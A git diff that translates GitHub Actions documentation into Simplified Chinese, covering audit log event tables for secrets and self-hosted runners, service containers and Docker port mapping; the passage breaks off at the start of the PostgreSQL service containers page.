-  - If you plan to have a centralized team own the self-hosted runners, then the recommendation is to add your runners at the highest mutual organization or enterprise level. This gives your team a single location to view and manage your runners. 
+  - If you plan to have a centralized team own the self-hosted runners, then the recommendation is to add your runners at the highest mutual organization or enterprise level. This gives your team a single location to view and manage your runners.
   - If you only have a single organization, then adding your runners at the organization level is effectively the same approach, but you might encounter difficulties if you add another organization in the future.
 
 **De-centralised management:**
-  - If each team will manage their own self-hosted runners, then its recommended that you add the runners at the highest level of team ownership. For example, if each team owns their own organization, then it will be simplest if the runners are added at the organization level too. 
+  - If each team will manage their own self-hosted runners, then its recommended that you add the runners at the highest level of team ownership. For example, if each team owns their own organization, then it will be simplest if the runners are added at the organization level too.
   - You could also add runners at the repository level, but this will add management overhead and also increases the numbers of runners you need, since you cannot share runners between repositories.
 
 {% ifversion fpt or ghec or ghae-issue-4856 %}
@@ -289,80 +289,78 @@ If you are using {% data variables.product.prodname_actions %} to deploy to a cl
 
 {% endif %}
 
-## Auditing {% data variables.product.prodname_actions %} events
+## 审核 {% data variables.product.prodname_actions %} 事件
 
-You can use the audit log to monitor administrative tasks in an organization. The audit log records the type of action, when it was run, and which user account performed the action.
+您可以使用审核日志来监控组织中的管理任务。 审核日志记录操作类型、操作的运行时间以及执行操作的用户帐户。
 
-For example, you can use the audit log to track the `org.update_actions_secret` event, which tracks changes to organization secrets:
-  ![Audit log entries](/assets/images/help/repository/audit-log-entries.png)
+例如，您可以使用审核日志跟踪 `org.update_actions_secret` 事件，这些事件跟踪组织秘密的变化： ![审核日志条目](/assets/images/help/repository/audit-log-entries.png)
 
-The following tables describe the {% data variables.product.prodname_actions %} events that you can find in the audit log. For more information on using the audit log, see
-"[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#searching-the-audit-log)."
+以下表格描述了您可以在审核日志中找到的 {% data variables.product.prodname_actions %} 事件。 有关使用审核日志的更多信息，请参阅“[查看组织的审核日志](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#searching-the-audit-log)”。
 
 {% ifversion fpt or ghec %}
-### Events for environments
+### 环境事件
 
-| Action | Description
-|------------------|-------------------
-| `environment.create_actions_secret` | Triggered when a secret is created in an environment. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)."
-| `environment.delete` | Triggered when an environment is deleted. For more information, see ["Deleting an environment](/actions/reference/environments#deleting-an-environment)."
-| `environment.remove_actions_secret` |  Triggered when a secret is removed from an environment. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)."
-| `environment.update_actions_secret` | Triggered when a secret in an environment is updated. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)."
+| 操作                                  | 描述                                                                                   |
+| ----------------------------------- | ------------------------------------------------------------------------------------ |
+| `environment.create_actions_secret` | 在环境中创建机密时触发。 更多信息请参阅“[环境机密](/actions/reference/environments#environment-secrets)”。   |
+| `environment.delete`                | 当环境被删除时触发。 更多信息请参阅“[删除环境](/actions/reference/environments#deleting-an-environment)”。 |
+| `environment.remove_actions_secret` | 从环境中删除机密时触发。 更多信息请参阅“[环境机密](/actions/reference/environments#environment-secrets)”。   |
+| `environment.update_actions_secret` | 当环境中的机密更新时触发。 更多信息请参阅“[环境机密](/actions/reference/environments#environment-secrets)”。  |
 {% endif %}
 
 {% ifversion fpt or ghes or ghec %}
-### Events for configuration changes
-| Action | Description
-|------------------|-------------------
-| `repo.actions_enabled` | Triggered when {% data variables.product.prodname_actions %} is enabled for a repository. Can be viewed using the UI. This event is not visible when you access the audit log using the REST API. For more information, see "[Using the REST API](#using-the-rest-api)."
+### 配置更改事件
+| 操作                     | 描述                                                                                                                                              |
+| ---------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------- |
+| `repo.actions_enabled` | 为仓库启用 {% data variables.product.prodname_actions %} 时触发。 可以使用用户界面查看。 当您使用 REST API 访问审计日志时，此事件不可见。 更多信息请参阅“[使用 REST API](#using-the-rest-api)”。 |
 {% endif %}
 
-### Events for secret management
-| Action | Description
-|------------------|-------------------
-| `org.create_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is created for an organization. For more information, see "[Creating encrypted secrets for an organization](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-an-organization)."
-| `org.remove_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is removed.
-| `org.update_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is updated.
-| `repo.create_actions_secret ` | Triggered when a {% data variables.product.prodname_actions %} secret is created for a repository. For more information, see "[Creating encrypted secrets for a repository](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-a-repository)."
-| `repo.remove_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is removed.
-| `repo.update_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is updated.
+### 机密管理的事件
+| 操作                           | 描述                                                                                                                                                                    |
+| ---------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `org.create_actions_secret`  | 为组织创建 {% data variables.product.prodname_actions %} 机密时触发。 更多信息请参阅“[为组织创建加密密码](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-an-organization)”。 |
+| `org.remove_actions_secret`  | 当 {% data variables.product.prodname_actions %} 密码被移除时触发。                                                                                                             |
+| `org.update_actions_secret`  | 在 {% data variables.product.prodname_actions %} 密码更新时触发。                                                                                                              |
+| `repo.create_actions_secret` | 为仓库创建 {% data variables.product.prodname_actions %} 密码时触发。 更多信息请参阅“[为仓库创建加密密码](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-a-repository)”。    |
+| `repo.remove_actions_secret` | 当 {% data variables.product.prodname_actions %} 密码被移除时触发。                                                                                                             |
+| `repo.update_actions_secret` | 在 {% data variables.product.prodname_actions %} 密码更新时触发。                                                                                                              |
 
-### Events for self-hosted runners
-| Action | Description
-|------------------|-------------------
-| `enterprise.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to an enterprise](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-enterprise)."
-| `enterprise.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed.
-| `enterprise.runner_group_runners_updated` | Triggered when a runner group's member list is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)."{% ifversion fpt or ghes > 3.1  or ghae or ghec %}
-| `enterprise.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."
-| `enterprise.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %}
-| `enterprise.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI. This event is not included when you export the audit log as JSON data or a CSV file. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)" and "[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#exporting-the-audit-log)."
-| `org.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to an organization](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-organization)."
-| `org.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see [Removing a runner from an organization](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-organization).
-| `org.runner_group_runners_updated` | Triggered when a runner group's list of members is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)."
-| `org.runner_group_updated` | Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)."{% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-| `org.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."
-| `org.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %}
-| `org.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)."
-| `repo.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to a repository](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-a-repository)."
-| `repo.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see "[Removing a runner from a repository](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-a-repository)."{% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-| `repo.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."
-| `repo.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %}
-| `repo.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)."
+### 自托管运行器的事件
+| 操作                                        | 描述                                                                                                                                                                                                                                                                                                                            |
+| ----------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `enterprise.register_self_hosted_runner`  | 在注册新的自托管运行器时触发。 更多信息请参阅“[将自托管运行器添加到企业](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-enterprise)”。                                                                                                                                                                           |
+| `enterprise.remove_self_hosted_runner`    | 当自托管运行器被移除时触发。                                                                                                                                                                                                                                                                                                                |
+| `enterprise.runner_group_runners_updated` | 当运行器组成员列表更新时触发。 For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)."{% ifversion fpt or ghes > 3.1  or ghae or ghec %}
+| `enterprise.self_hosted_runner_online`    | 当运行器应用程序启动时触发。 只能使用 REST API 查看；在 UI 或 JSON/CSV 导出中不可见。 更多信息请参阅“[检查自托管运行器的状态](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)”。                                                                                                             |
+| `enterprise.self_hosted_runner_offline`   | 当运行器应用程序停止时触发。 只能使用 REST API 查看；在 UI 或 JSON/CSV 导出中不可见。 更多信息请参阅“[检查自托管运行器的状态](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)”。{% endif %}
+| `enterprise.self_hosted_runner_updated`   | 当运行器应用程序更新时触发。 可以使用 REST API 和 UI 查看。 当您将审核日志导出为 JSON 数据或 CSV 文件时，此事件不包括在内。 更多信息请参阅“[关于自托管的运行器](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)”和“[审查组织的审核日志](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#exporting-the-audit-log)”。 |
+| `org.register_self_hosted_runner`         | 在注册新的自托管运行器时触发。 更多信息请参阅“[将自托管运行器添加到组织](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-organization)”。                                                                                                                                                                         |
+| `org.remove_self_hosted_runner`           | 当自托管运行器被移除时触发。 更多信息请参阅“[从组织移除运行器](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-organization)”。                                                                                                                                                                                    |
+| `org.runner_group_runners_updated`        | 当运行器组成员列表更新时触发。 更多信息请参阅“[为组织设置组中的自托管运行器](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)”。                                                                                                                                                                                                    |
+| `org.runner_group_updated`                | 当自托管运行器组的配置改变时触发。 For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)."{% ifversion fpt or ghes > 3.1 or ghae or ghec %}
+| `org.self_hosted_runner_online`           | 当运行器应用程序启动时触发。 只能使用 REST API 查看；在 UI 或 JSON/CSV 导出中不可见。 更多信息请参阅“[检查自托管运行器的状态](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)”。                                                                                                             |
+| `org.self_hosted_runner_offline`          | 当运行器应用程序停止时触发。 只能使用 REST API 查看；在 UI 或 JSON/CSV 导出中不可见。 更多信息请参阅“[检查自托管运行器的状态](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)”。{% endif %}
+| `org.self_hosted_runner_updated`          | 当运行器应用程序更新时触发。 可以使用 REST API 和 UI 查看；在 JSON /CSV 导出中不可见。 更多信息请参阅“[关于自托管运行器](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)”。                                                                                                                                                          |
+| `repo.register_self_hosted_runner`        | 在注册新的自托管运行器时触发。 更多信息请参阅“[将自托管运行器添加到仓库](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-a-repository)”。                                                                                                                                                                            |
+| `repo.remove_self_hosted_runner`          | 当自托管运行器被移除时触发。 For more information, see "[Removing a runner from a repository](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-a-repository)."{% ifversion fpt or ghes > 3.1 or ghae or ghec %}
+| `repo.self_hosted_runner_online`          | 当运行器应用程序启动时触发。 只能使用 REST API 查看；在 UI 或 JSON/CSV 导出中不可见。 更多信息请参阅“[检查自托管运行器的状态](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)”。                                                                                                             |
+| `repo.self_hosted_runner_offline`         | 当运行器应用程序停止时触发。 只能使用 REST API 查看；在 UI 或 JSON/CSV 导出中不可见。 更多信息请参阅“[检查自托管运行器的状态](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)”。{% endif %}
+| `repo.self_hosted_runner_updated`         | 当运行器应用程序更新时触发。 可以使用 REST API 和 UI 查看；在 JSON /CSV 导出中不可见。 更多信息请参阅“[关于自托管运行器](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)”。                                                                                                                                                          |
 
-### Events for self-hosted runner groups
-| Action | Description
-|------------------|-------------------
-| `enterprise.runner_group_created` | Triggered when a self-hosted runner group is created. For more information, see "[Creating a self-hosted runner group for an enterprise](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-enterprise)."
-| `enterprise.runner_group_removed` | Triggered when a self-hosted runner group is removed. For more information, see "[Removing a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)."
-| `enterprise.runner_group_runner_removed` | Triggered when the REST API is used to remove a self-hosted runner from a group.
-| `enterprise.runner_group_runners_added` | Triggered when a self-hosted runner is added to a group. For more information, see "[Moving a self-hosted runner to a group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)."
-| `enterprise.runner_group_updated` |Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)."
-| `org.runner_group_created` | Triggered when a self-hosted runner group is created. For more information, see "[Creating a self-hosted runner group for an organization](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-organization)."
-| `org.runner_group_removed` | Triggered when a self-hosted runner group is removed. For more information, see "[Removing a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)."
-| `org.runner_group_updated` | Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)."
-| `org.runner_group_runners_added` | Triggered when a self-hosted runner is added to a group. For more information, see "[Moving a self-hosted runner to a group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)."
-| `org.runner_group_runner_removed` | Triggered when the REST API is used to remove a self-hosted runner from a group. For more information, see "[Remove a self-hosted runner from a group for an organization](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-organization)."
+### 自托管运行器组的事件
+| 操作                                       | 描述                                                                                                                                                                                           |
+| ---------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `enterprise.runner_group_created`        | 在创建自托管运行器组时触发。 更多信息请参阅“[为企业创建自托管运行器组](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-enterprise)”。         |
+| `enterprise.runner_group_removed`        | 当自托管运行器组被移除时触发。 更多信息请参阅“[移除自托管运行器组](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)”。                             |
+| `enterprise.runner_group_runner_removed` | 当 REST API 用于从组中删除自托管运行器时触发。                                                                                                                                                                 |
+| `enterprise.runner_group_runners_added`  | 当自托管运行器添加到组时触发。 更多信息请参阅“[将自托管运行器移动到组](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)”。                        |
+| `enterprise.runner_group_updated`        | 当自托管运行器组的配置改变时触发。 更多信息请参阅“[更改自托管运行器组的访问策略](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)”。 |
+| `org.runner_group_created`               | 在创建自托管运行器组时触发。 更多信息请参阅“[为组织创建自托管运行器组](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-organization)”。       |
+| `org.runner_group_removed`               | 当自托管运行器组被移除时触发。 更多信息请参阅“[移除自托管运行器组](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)”。                             |
+| `org.runner_group_updated`               | 当自托管运行器组的配置改变时触发。 更多信息请参阅“[更改自托管运行器组的访问策略](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)”。 |
+| `org.runner_group_runners_added`         | 当自托管运行器添加到组时触发。 更多信息请参阅“[将自托管运行器移动到组](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)”。                        |
+| `org.runner_group_runner_removed`        | 当 REST API 用于从组中删除自托管运行器时触发。 更多信息请参阅“[为组织从组中删除自托管运行器](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-organization)”。                                                |
 
-### Events for workflow activities
+### 工作流程活动事件
 
 {% data reusables.actions.actions-audit-events-workflow %}
diff --git a/translations/zh-CN/content/actions/using-containerized-services/about-service-containers.md b/translations/zh-CN/content/actions/using-containerized-services/about-service-containers.md
index 5487cf23f9..96be5cbaac 100644
--- a/translations/zh-CN/content/actions/using-containerized-services/about-service-containers.md
+++ b/translations/zh-CN/content/actions/using-containerized-services/about-service-containers.md
@@ -1,6 +1,6 @@
 ---
-title: About service containers
-intro: 'You can use service containers to connect databases, web services, memory caches, and other tools to your workflow.'
+title: 关于服务容器
+intro: 您可以使用服务容器将数据库、网络服务、内存缓存及其他工具连接到您的工作流程。
 redirect_from:
   - /actions/automating-your-workflow-with-github-actions/about-service-containers
   - /actions/configuring-and-managing-workflows/about-service-containers
@@ -19,37 +19,37 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About service containers
+## 关于服务容器
 
-Service containers are Docker containers that provide a simple and portable way for you to host services that you might need to test or operate your application in a workflow. For example, your workflow might need to run integration tests that require access to a database and memory cache.
+服务容器是 Docker 容器，以简便、可携带的方式托管您可能需要在工作流程中测试或操作应用程序的服务。 例如，您的工作流程可能必须运行需要访问数据库和内存缓存的集成测试。
 
-You can configure service containers for each job in a workflow. {% data variables.product.prodname_dotcom %} creates a fresh Docker container for each service configured in the workflow, and destroys the service container when the job completes. Steps in a job can communicate with all service containers that are part of the same job.
+您可以为工作流程中的每个作业配置服务容器。 {% data variables.product.prodname_dotcom %} 为工作流中配置的每个服务创建一个新的 Docker 容器，并在作业完成后销毁该服务容器。 作业中的步骤可与属于同一作业的所有服务容器通信。
 
 {% data reusables.github-actions.docker-container-os-support %}
 
-## Communicating with service containers
+## 与服务容器通信
 
-You can configure jobs in a workflow to run directly on a runner machine or in a Docker container. Communication between a job and its service containers is different depending on whether a job runs directly on the runner machine or in a container.
+您可以在工作流程中配置作业直接在运行器机器或 Docker 容器上运行。 作业与其服务容器之间的通信根据作业是直接在运行器上运行还是在容器中运行而有所不同。
 
-### Running jobs in a container
+### 在容器中运行作业
 
-When you run jobs in a container, {% data variables.product.prodname_dotcom %} connects service containers to the job using Docker's user-defined bridge networks. For more information, see "[Use bridge networks](https://docs.docker.com/network/bridge/)" in the Docker documentation.
+在容器中运行作业时，{% data variables.product.prodname_dotcom %} 使用 Docker 的用户定义桥接网络将服务容器连接到作业。 更多信息请参阅 Docker 文档中的“[使用桥接网络](https://docs.docker.com/network/bridge/)”。
 
-Running the job and services in a container simplifies network access. You can access a service container using the label you configure in the workflow. The hostname of the service container is automatically mapped to the label name. For example, if you create a service container with the label `redis`, the hostname of the service container is `redis`.
+在容器中运行作业和服务可简化网络访问。 您可以使用工作流程中配置的标签访问服务容器。 服务容器的主机名自动映射到标签名称。 例如，如果您创建带有标签 `redis` 的服务容器 ，则该服务容器的主机名是 `redis`。
 
-You don't need to configure any ports for service containers. By default, all containers that are part of the same Docker network expose all ports to each other, and no ports are exposed outside of the Docker network.
+您无需为服务容器配置任何端口。 默认情况下，属于同一 Docker 网络的所有容器会相互显示所有端口，但在 Docker 网络外部不会显示任何端口。
 
-### Running jobs on the runner machine
+### 在运行器机器上运行作业
 
-When running jobs directly on the runner machine, you can access service containers using `localhost:<port>` or `127.0.0.1:<port>`. {% data variables.product.prodname_dotcom %} configures the container network to enable communication from the service container to the Docker host.
+直接在运行器机器上运行作业时，您可以使用 `localhost:<port>` 或 `127.0.0.1:<port>` 访问服务容器。 {% data variables.product.prodname_dotcom %} 配置容器网络以启用从服务容器到 Docker 主机的通信。
 
-When a job runs directly on a runner machine, the service running in the Docker container does not expose its ports to the job on the runner by default. You need to map ports on the service container to the Docker host. For more information, see "[Mapping Docker host and service container ports](/actions/automating-your-workflow-with-github-actions/about-service-containers#mapping-docker-host-and-service-container-ports)."
+当作业直接在运行器机器上运行时， Docker 容器中运行的服务默认情况下不会向运行器上的作业显示其端口。 您需要将服务容器上的端口映射到 Docker 主机。 更多信息请参阅“[映射 Docker 主机和服务容器端口](/actions/automating-your-workflow-with-github-actions/about-service-containers#mapping-docker-host-and-service-container-ports)”。
 
-## Creating service containers
+## 创建服务容器
 
-You can use the `services` keyword to create service containers that are part of a job in your workflow. For more information, see [`jobs.<job_id>.services`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idservices).
+您可以使用 `services` 关键字创建服务容器作为工作流程中作业的一部分。 更多信息请参阅 [`jobs.<job_id>.services`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idservices)。
 
-This example creates a service called `redis` in a job called `container-job`. The Docker host in this example is the `node:10.18-jessie` container.
+本例在作业 `container-job` 中创建一个名为 `redis` 的服务。 本例中的 Docker 主机是 `node:10.18-jessie` 容器。
 
 {% raw %}
 ```yaml{:copy}
@@ -73,25 +73,25 @@ jobs:
 ```
 {% endraw %}
 
-## Mapping Docker host and service container ports
+## 映射 Docker 主机和服务容器端口
 
-If your job runs in a Docker container, you do not need to map ports on the host or the service container. If your job runs directly on the runner machine, you'll need to map any required service container ports to ports on the host runner machine.
+如果作业在 Docker 容器中运行，则不需要映射主机或服务容器上的端口。 如果作业直接在运行器机器上运行，则需要将任何必需的服务容器端口映射到主机运行器机器上的端口。
 
-You can map service containers ports to the Docker host using the `ports` keyword. For more information, see [`jobs.<job_id>.services`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idservices).
+您可以使用 `ports` 关键字将服务容器端口映射到 Docker 主机。 更多信息请参阅 [`jobs.<job_id>.services`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idservices)。
 
-| Value of `ports` |	Description |
-|------------------|--------------|
-| `8080:80` |	Maps TCP port 80 in the container to port 8080 on the Docker host. |
-| `8080:80/udp` |	Maps UDP port 80 in the container to port 8080 on the Docker host. |
-| `8080/udp`	| Map a randomly chosen UDP port in the container to UDP port 8080 on the Docker host. |
+| `ports` 的值    | 描述                                           |
+| ------------- | -------------------------------------------- |
+| `8080:80`     | 将容器中的 TCP 端口 80 映射到 Docker 主机上的端口 8080。      |
+| `8080:80/udp` | 将容器中的 UDP 端口 80 映射到 Docker 主机上的端口 8080。      |
+| `8080/udp`    | 将容器中随机选择的 UDP 端口映射到 Docker 主机上的 UDP 端口 8080。 |
 
-When you map ports using the `ports` keyword, {% data variables.product.prodname_dotcom %} uses the `--publish` command to publish the container’s ports to the Docker host. For more information, see "[Docker container networking](https://docs.docker.com/config/containers/container-networking/)" in the Docker documentation.
+使用 `ports` 关键字映射端口时，{% data variables.product.prodname_dotcom %} 使用 `--publish` 命令将容器的端口发布到 Docker 主机。 更多信息请参阅 Docker 文档中的“[Docker 容器网络](https://docs.docker.com/config/containers/container-networking/)”。
 
-When you specify the Docker host port but not the container port, the container port is randomly assigned to a free port. {% data variables.product.prodname_dotcom %} sets the assigned container port in the service container context. For example, for a `redis` service container, if you configured the Docker host port 5432, you can access the corresponding container port using the `job.services.redis.ports[5432]` context. For more information, see "[Contexts](/actions/learn-github-actions/contexts#job-context)."
+指定 Docker 主机端口但不指定容器端口时，容器端口将随机分配给空闲端口。 {% data variables.product.prodname_dotcom %} 在服务容器上下文中设置分配的容器端口。 例如，对于 `redis` 服务容器，如果您配置了 Docker 主机端口 5432，则您可以使用 `job.services.redis.ports[5432]` 上下文访问对应的容器端口。 更多信息请参阅“[上下文](/actions/learn-github-actions/contexts#job-context)”。
 
-### Example mapping Redis ports
+### 映射 Redis 端口的示例
 
-This example maps the service container `redis` port 6379 to the Docker host port 6379.
+此示例映射服务容器 `redis` 端口 6379 到 Docker 主机端口 6379。
 
 {% raw %}
 ```yaml{:copy}
@@ -117,7 +117,7 @@ jobs:
 ```
 {% endraw %}
 
-## Further reading
+## 延伸阅读
 
-- "[Creating Redis service containers](/actions/automating-your-workflow-with-github-actions/creating-redis-service-containers)"
-- "[Creating PostgreSQL service containers](/actions/automating-your-workflow-with-github-actions/creating-postgresql-service-containers)"
+- "[创建 Redis 服务容器](/actions/automating-your-workflow-with-github-actions/creating-redis-service-containers)"
+- "[创建 PostgreSQL 服务容器](/actions/automating-your-workflow-with-github-actions/creating-postgresql-service-containers)"
diff --git a/translations/zh-CN/content/actions/using-containerized-services/creating-postgresql-service-containers.md b/translations/zh-CN/content/actions/using-containerized-services/creating-postgresql-service-containers.md
index 645a542e6d..560d874697 100644
--- a/translations/zh-CN/content/actions/using-containerized-services/creating-postgresql-service-containers.md
+++ b/translations/zh-CN/content/actions/using-containerized-services/creating-postgresql-service-containers.md
@@ -1,7 +1,7 @@
 ---
-title: Creating PostgreSQL service containers
-shortTitle: PostgreSQL service containers
-intro: You can create a PostgreSQL service container to use in your workflow. This guide shows examples of creating a PostgreSQL service for jobs that run in containers or directly on the runner machine.
+title: 创建 PostgreSQL 服务容器
+shortTitle: PostgreSQL 服务容器
+intro: 您可以创建 PostgreSQL 服务容器用于您的工作流程。 本指南举例说明如何为容器中运行或直接在运行器机器上运行的作业创建 PostgreSQL 服务。
 redirect_from:
   - /actions/automating-your-workflow-with-github-actions/creating-postgresql-service-containers
   - /actions/configuring-and-managing-workflows/creating-postgresql-service-containers
@@ -20,22 +20,22 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## 简介
 
